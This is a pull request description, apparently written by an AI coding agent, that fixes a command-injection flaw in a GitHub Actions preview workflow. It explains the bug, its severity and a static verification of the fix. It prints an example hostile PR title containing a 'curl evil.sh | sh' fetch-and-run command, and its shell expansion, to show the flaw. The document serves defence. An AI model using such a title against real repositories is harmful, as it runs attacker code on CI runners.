[roborourke]

Summary

.github/workflows/pr-playground-preview.yml interpolated the attacker-controlled PR title directly into a run: shell block, allowing arbitrary command execution on the runner. This fixes it by passing values through env: and dropping the title in favour of a fixed 0.0.0-pr<number> version string, and adds a same-repo fork guard.

⚠️ Where this lives — read before merging

This workflow is not on main. It was introduced by #11 (claude/server-side-render-previews-1zFB5 → main), which is closed and unmerged, and its source head branch has since been deleted. The file now survives only on the generated build branch pr-11-built (which the workflow force-pushes to), so:

• The default branch is not affected — there is no live exploit path on main today.
• Per the task instructions, this PR is therefore branched from and targets pr-11-built (the only ref that still carries the file) rather than main.
• The real remediation is to carry this fixed version forward if/when the SSR-preview work is revived — don't restore the workflow from pr-11-built's vulnerable history.

The vulnerability

- name: Replace version with PR info
  run: |
      PR_VERSION="Pull Request #${{ github.event.pull_request.number }} - ${{ github.event.pull_request.title }}"
      sed -i "s/__VERSION__/$PR_VERSION/g" hm-query-loop.php

${{ ... }} is substituted textually before the shell parses the script. A PR titled:

a"; curl evil.sh | sh; #

expands the first line to:

PR_VERSION="Pull Request #11 - a"; curl evil.sh | sh; #"

— i.e. the assignment ends early and curl evil.sh | sh runs as a command. (Because the title also lands inside double quotes, a title containing $(...) or backticks executes even without breaking out.) There is a second hazard: the title was also spliced into a sed replacement, so sed metacharacters (/, &, \) in a title are a separate injection surface even after the shell is made safe.

github.event.pull_request.number (numeric) and github.event.pull_request.head.sha (SHA) are not attacker-controlled — the title is.

Trigger, token scope, and real severity

• Trigger: pull_request (not pull_request_target), types [opened, synchronize, reopened, edited]. edited means simply renaming a PR re-triggers it.
• Token scope: for a fork PR the GITHUB_TOKEN is read-only and secrets are unavailable, which caps the blast radius. This is not the worst-case (pull_request_target / issue_comment) variant.
• But not harmless: arbitrary code still runs on the runner. The job uses actions/setup-node with cache: 'npm', so npm cache poisoning is a plausible escalation into later runs on the default branch. For a same-repo PR the token is contents: write + pull-requests: write, so an injected command there runs with a writable token.

Net: real but currently latent (the file isn't on main, and #11 is closed). Worth fixing so it can't be reintroduced live.

The fix

• Drop the PR title entirely. Stamp a fixed 0.0.0-pr${PR_NUMBER} — safe as shell data and free of sed metacharacters, and a more useful version string. Mirrors the reference implementation in humanmade/query-filter.
• Pass values via env: in both run: steps (PR_NUMBER, HEAD_SHA) so they reach the shell as data, quoted as "${PR_NUMBER}". After this change no ${{ }} expression is interpolated into any run: block.
• Add a fork guard if: github.event.pull_request.head.repo.full_name == github.repository so the job doesn't run for fork PRs, whose read-only token cannot push pr-<n>-built (it would hard-fail rather than skip cleanly).

Triage of remaining ${{ }} (none in run: blocks)

Location	Expression	Verdict
env: in the two run: steps	github.event.pull_request.number, ...head.sha	Safe source, and now only used as env data
blueprint: with: input	github.repository, ...pull_request.number	Not a shell context (action input); both safe sources
github-token: with: input	secrets.GITHUB_TOKEN	Not attacker-controlled; standard usage

Programmatically confirmed zero ${{ inside any run: block after the change.

Verification

• python3 -c "import yaml; yaml.safe_load(...)" → valid YAML.
• Parsed every step and asserted no run: block contains ${{.
• I cannot execute these workflows to prove the fix at runtime (they only run on GitHub in response to PR events); the above is static verification only.

Out of scope — follow-ups (not fixed here, to keep this scoped to the injection + fork guard)

• pr-cleanup.yml (also only on pr-11-built): no attacker-controlled injection — its run: block uses only secrets.GITHUB_TOKEN, github.repository, and github.event.pull_request.number (all safe). It is, however, missing the same fork guard and embeds the token in a remote URL; worth hardening in a follow-up.
• This workflow could also adopt npm ci (over npm i), SHA-pinned action refs, and a concurrency group, as the query-filter reference does. Unrelated to the injection, so left out.

---

Generated by Claude Code